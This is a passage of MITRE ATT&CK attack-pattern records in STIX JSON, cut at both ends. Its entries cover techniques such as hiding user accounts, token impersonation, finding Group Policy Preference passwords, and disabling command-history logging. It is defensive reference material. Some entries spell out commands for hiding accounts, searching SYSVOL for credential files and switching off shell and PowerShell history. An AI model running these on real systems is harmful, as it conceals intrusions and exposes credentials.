hidden.(Citation: Apple Support Hide a User Account) \n\nAdversaries may similarly hide user accounts in Windows. Adversaries can set the HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList Registry key value to 0 for a specific user to prevent that user from being listed on the logon screen.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)\n\nOn Linux systems, adversaries may hide user accounts from the login screen, also referred to as the greeter. The method an adversary may use depends on which Display Manager the distribution is currently using. For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts may be hidden from the greeter using the gsettings command (ex: sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true).(Citation: Hide GDM User Accounts) Display Managers are not anchored to specific distributions and may be changed by a user or adversary.","modified":"2022-04-19T02:31:01.315Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Hidden Users","x_mitre_detection":"Monitor for users that may be hidden from the login screen but still present in additional artifacts of usage such as directories and authentication logs. \n\nMonitor processes and command-line events for actions that could be taken to add a new user and subsequently hide it from login screens. Monitor Registry events for modifications to the HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList key.\n\nIn macOS, monitor for commands, processes, and file activity in combination with a user that has a userID under 500.(Citation: Cybereason OSX Pirrit) Monitor for modifications to set the Hide500Users key value to TRUE in the /Library/Preferences/com.apple.loginwindow plist file. Monitor the command line for usage of the dscl . create command with the IsHidden attribute set to 1.(Citation: Apple Support Hide a User Account) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["File: File Modification","User Account: User Account Creation","Windows Registry: Windows Registry Key Modification","Process: Process Creation","Command: Command Execution","User Account: User Account Metadata"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-01-10T17:55:46.905Z","name":"Make and Impersonate Token","description":"Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function.(Citation: LogonUserW function) The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread.\n\nThis behavior is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) in that this refers to creating a new user token instead of stealing or duplicating an existing one.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_contributors":["Jonny Johnson"],"x_mitre_deprecated":false,"x_mitre_detection":"If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.\n\nAnalysts can also monitor for use of Windows APIs such as LogonUser and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["Process: OS API Execution","Command: Command Execution"],"x_mitre_defense_bypassed":["Windows User Account Control","System access controls","File system access controls"],"x_mitre_effective_permissions":["SYSTEM"],"x_mitre_permissions_required":["Administrator","User"],"type":"attack-pattern","id":"attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819","created":"2020-02-18T18:03:37.481Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1134/003","external_id":"T1134.003"},{"source_name":"Microsoft Command-line Logging","description":"Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.","url":"https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing"},{"source_name":"LogonUserW function","description":"Microsoft. (2023, March 10). LogonUserW function (winbase.h). Retrieved January 8, 2024.","url":"https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonuserw"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-08-15T13:21:22.734Z","name":"Group Policy Preferences","description":"Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016)\n\nThese group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).(Citation: Microsoft GPP Key)\n\nThe following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:\n\n* Metasploit’s post exploitation module: post/windows/gather/credentials/gpp\n* Get-GPPPassword(Citation: Obscuresecurity Get-GPPPassword)\n* gpprefdecrypt.py\n\nOn the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: dir /s * .xml\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for attempts to access SYSVOL that involve searching for XML files. \n\nDeploy a new XML file with permissions set to Everyone:Deny and monitor for Access Denied errors.(Citation: ADSecurity Finding Passwords in SYSVOL)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["File: File Access","Command: Command Execution"],"type":"attack-pattern","id":"attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e","created":"2020-02-11T18:43:06.253Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1552/006","external_id":"T1552.006"},{"source_name":"Obscuresecurity Get-GPPPassword","description":"Campbell, C. (2012, May 24). GPP Password Retrieval with PowerShell. Retrieved April 11, 2018.","url":"https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html"},{"source_name":"Microsoft GPP 2016","description":"Microsoft. (2016, August 31). Group Policy Preferences. Retrieved March 9, 2020.","url":"https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v%3Dws.11)"},{"source_name":"Microsoft GPP Key","description":"Microsoft. (n.d.). 2.2.1.1.4 Password Encryption. Retrieved April 11, 2018.","url":"https://msdn.microsoft.com/library/cc422924.aspx"},{"source_name":"ADSecurity Finding Passwords in SYSVOL","description":"Sean Metcalf. (2015, December 28). Finding Passwords in SYSVOL & Exploiting Group Policy Preferences. Retrieved February 17, 2020.","url":"https://adsecurity.org/?p=2288"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--8df54627-376c-487c-a09c-7d2b5620f56e","type":"attack-pattern","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1196","url":"https://attack.mitre.org/techniques/T1196"},{"source_name":"Microsoft Implementing CPL","description":"M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.","url":"https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx"},{"url":"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf","description":"Mercês, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018.","source_name":"TrendMicro CPL Malware Jan 2014"},{"url":"https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/","description":"Bernardino, J. (2013, December 17). Control Panel Files Used As Malicious Attachments. Retrieved January 18, 2018.","source_name":"TrendMicro CPL Malware Dec 2013"},{"url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/","description":"Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.","source_name":"Palo Alto Reaver Nov 2017"}],"modified":"2020-01-31T18:59:21.682Z","name":"Control Panel Items","description":"Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)\n\nFor ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)\n\nAdversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Monitor and analyze activity related to items associated with CPL files, such as the Windows Control Panel process binary (control.exe) and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: control.exe file.cpl) before [Rundll32](https://attack.mitre.org/techniques/T1085) is used to call the CPL's API functions (ex: rundll32.exe shell32.dll,Control_RunDLL file.cpl). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1085) command, which may bypass detections and/or execution filters for control.exe. (Citation: TrendMicro CPL Malware Jan 2014)\n\nInventory Control Panel items to locate unregistered and potentially malicious files present on systems:\n\n* Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ControlPanel\\NameSpace and HKEY_CLASSES_ROOT\\CLSID\\{GUID}. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)\n* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the Cpls and Extended Properties Registry keys of HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically ( WinExec(\"c:\\windows\\system32\\control.exe {Canonical_Name}\", SW_NORMAL);) or from a command line (control.exe /name {Canonical_Name}). (Citation: Microsoft Implementing CPL)\n* Some Control Panel items are extensible via Shell extensions registered in HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Controls Folder\\{name}\\Shellex\\PropertySheetHandlers where {name} is the predefined name of the system item. (Citation: Microsoft Implementing CPL)\n\nAnalyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques. (Citation: TrendMicro CPL Malware Jan 2014)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["Application whitelisting","Process whitelisting"],"x_mitre_permissions_required":["User","Administrator","SYSTEM"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["William Cain"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5","type":"attack-pattern","created":"2020-03-15T15:34:30.767Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1048.002","url":"https://attack.mitre.org/techniques/T1048/002"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2021-10-15T22:44:11.953Z","name":"Exfiltration Over Asymmetric Encrypted Non-C2 Protocol","description":"Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAsymmetric encryption algorithms are those that use different keys on each end of the channel. Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity. The public keys of each entity are exchanged before encrypted communications begin. \n\nNetwork protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) ","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Command: Command Execution","File: File Access","Network Traffic: Network Connection Creation","Network Traffic: Network Traffic Content"]},{"modified":"2024-10-15T15:51:18.808Z","name":"Cloud Account","description":"Adversaries may attempt to get a listing of cloud accounts. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application.\n\nWith authenticated access there are several tools that can be used to find accounts. The Get-MsolRoleMember PowerShell cmdlet can be used to obtain account names given a role or permissions group in Office 365.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance) The Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command az ad user list will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018) \n\nThe AWS command aws iam list-users may be used to obtain a list of users in the current account while aws iam list-roles can obtain IAM roles that have a specified path prefix.(Citation: AWS List Roles)(Citation: AWS List Users) In GCP, gcloud iam service-accounts list and gcloud projects get-iam-policy may be used to obtain a listing of service accounts and users in a project.(Citation: Google Cloud - IAM Servie Accounts List API)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_contributors":["Praetorian"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor processes, command-line arguments, and logs for actions that could be taken to gather information about cloud accounts, including the use of calls to cloud APIs that perform account discovery.\n\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment, and also to an extent in normal network operations. Therefore discovery data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["SaaS","IaaS","Office Suite","Identity Provider"],"x_mitre_version":"1.3","x_mitre_data_sources":["Command: Command Execution"],"type":"attack-pattern","id":"attack-pattern--8f104855-e5b7-4077-b1f5-bc3103b41abe","created":"2020-02-21T21:08:36.570Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1087/004","external_id":"T1087.004"},{"source_name":"AWS List Roles","description":"Amazon. (n.d.). List Roles. Retrieved August 11, 2020.","url":"https://docs.aws.amazon.com/cli/latest/reference/iam/list-roles.html"},{"source_name":"AWS List Users","description":"Amazon. (n.d.). List Users. Retrieved August 11, 2020.","url":"https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html"},{"source_name":"Black Hills Red Teaming MS AD Azure, 2018","description":"Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.","url":"https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/"},{"source_name":"Google Cloud - IAM Servie Accounts List API","description":"Google. (2020, June 23). gcloud iam service-accounts list. Retrieved August 4, 2020.","url":"https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list"},{"source_name":"Microsoft AZ CLI","description":"Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.","url":"https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest"},{"source_name":"Microsoft msolrolemember","description":"Microsoft. (n.d.). Get-MsolRoleMember. Retrieved October 6, 2019.","url":"https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrolemember?view=azureadps-1.0"},{"source_name":"GitHub Raindance","description":"Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.","url":"https://github.com/True-Demon/raindance"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-16T12:43:55.369Z","name":"Process Discovery","description":"Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Administrator or otherwise elevated access may provide better process details. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nIn Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://attack.mitre.org/software/S0057) utility via [cmd](https://attack.mitre.org/software/S0106) or Get-Process via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Information about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106) calls such as CreateToolhelp32Snapshot. In Mac and Linux, this is accomplished with the ps command. Adversaries may also opt to enumerate processes via `/proc`. \n\nOn network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show processes` can be used to display current running processes.(Citation: US-CERT-TA18-106A)(Citation: show_processes_cisco_cmd)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_contributors":["Austin Clark, @c2defense"],"x_mitre_deprecated":false,"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nFor network infrastructure devices, collect AAA logging to monitor for `show` commands being run by non-standard users from non-standard locations.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_version":"1.5","x_mitre_data_sources":["Process: Process Creation","Process: OS API Execution","Command: Command Execution"],"type":"attack-pattern","id":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","created":"2017-05-31T21:30:48.728Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1057","external_id":"T1057"},{"source_name":"show_processes_cisco_cmd","description":"Cisco. (2022, August 16). show processes - . Retrieved July 13, 2022.","url":"https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/show_monitor_permit_list_through_show_process_memory.html#wp3599497760"},{"source_name":"US-CERT-TA18-106A","description":"US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.","url":"https://www.us-cert.gov/ncas/alerts/TA18-106A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-30T21:01:47.940Z","name":"Impair Command History Logging","description":"Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done. \n\nOn Linux and macOS, command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected.\n\nAdversaries may clear the history environment variable (unset HISTFILE) or set the command history size to zero (export HISTFILESIZE=0) to prevent logging of commands. Additionally, HISTCONTROL can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands. \n\nOn Windows systems, the PSReadLine module tracks commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt by default). Adversaries may change where these logs are saved using Set-PSReadLineOption -HistorySavePath {File Path}. This will cause ConsoleHost_history.txt to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command Set-PSReadlineOption -HistorySaveStyle SaveNothing.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)\n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to disable historical command logging (e.g. no logging).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_attack_spec_version":"2.1.0","x_mitre_contributors":["Vikas Singh, Sophos","Emile Kenning, Sophos","Austin Clark, @c2defense"],"x_mitre_deprecated":false,"x_mitre_detection":"Correlating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL, HISTFILE, or HISTFILESIZE environment variables may be suspicious.\n\nMonitor for modification of PowerShell command history settings through processes being created with -HistorySaveStyle SaveNothing command-line arguments and use of the PowerShell commands Set-PSReadlineOption -HistorySaveStyle SaveNothing and Set-PSReadLineOption -HistorySavePath {File Path}. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to clear or disable historical log data with built-in features native to the network device platform. Monitor such command activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_version":"2.2","x_mitre_data_sources":["Sensor Health: Host Status","Command: Command Execution"],"x_mitre_defense_bypassed":["Host forensic analysis","Log analysis"],"type":"attack-pattern","id":"attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59","created":"2020-02-21T20:56:06.498Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1562/003","external_id":"T1562.003"},{"source_name":"Sophos PowerShell command audit","description":"jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020.","url":"https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit"},{"source_name":"Microsoft PowerShell Command History","description":"Microsoft. (2020, May 13). About History. Retrieved September 4, 2020.","url":"https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7"},{"source_name":"Sophos PowerShell Command History Forensics","description":"Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved September 4, 2020.","url":"https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--8faedf87-dceb-4c35-b2a2-7286f59a3bc3","type":"attack-pattern","created":"2019-12-03T14:15:27.452Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1053.004","url":"https://attack.mitre.org/techniques/T1053/004"},{"url":"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html","description":"Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.","source_name":"AppleDocs Launch Agent Daemons"},{"url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.","source_name":"Methods of Mac Malware Persistence"}],"modified":"2021-10-07T21:38:03.610Z","name":"Launchd","description":"This technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself. \n\nAdversaries may abuse the Launchd daemon to perform task scheduling for initial or recurring execution of malicious code. The launchd daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n\nAn adversary may use the launchd daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. launchd can also be abused to run a process under the context of a specified account. Daemons, such as launchd, run with the permissions of the root user account, and will operate regardless of which user account is logged in.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.","x_mitre_is_subtechnique":true,"x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["root"]},{"modified":"2023-05-04T18:02:51.318Z","name":"Network Provider DLL","description":"Adversaries may register malicious network provider dynamic link libraries (DLLs) to capture cleartext user credentials during the authentication process. Network provider DLLs allow Windows to interface with specific network protocols and can also support add-on credential management functions.(Citation: Network Provider API) During the logon process, Winlogon (the interactive logon module) sends credentials to the local `mpnotify.exe` process via RPC. The `mpnotify.exe` process then shares the credentials in cleartext with registered credential managers when notifying that a logon event is happening.(Citation: NPPSPY - Huntress)(Citation: NPPSPY Video)(Citation: NPLogonNotify) \n\nAdversaries can configure a malicious network provider DLL to receive credentials from `mpnotify.exe`.(Citation: NPPSPY) Once installed as a credential manager (via the Registry), a malicious DLL can receive and save credentials each time a user logs onto a Windows workstation or domain via the `NPLogonNotify()` function.(Citation: NPLogonNotify)\n\nAdversaries may target planting malicious network provider DLLs on systems known to have increased logon activity and/or administrator logon activity, such as servers and domain controllers.(Citation: NPPSPY - Huntress)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_contributors":["CrowdStrike Falcon OverWatch","Jai Minton"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.0","x_mitre_data_sources":["Windows Registry: Windows Registry Key Creation","Windows Registry: Windows Registry Key Modification","Process: OS API Execution","File: File Creation"],"type":"attack-pattern","id":"attack-pattern--90c4a591-d02d-490b-92aa-619d9701ac04","created":"2023-03-30T22:45:00.431Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1556/008","external_id":"T1556.008"},{"source_name":"NPPSPY - Huntress","description":" Dray Agha. (2022, August 16). Cleartext Shenanigans: Gifting User Passwords to Adversaries With NPPSPY. Retrieved March 30, 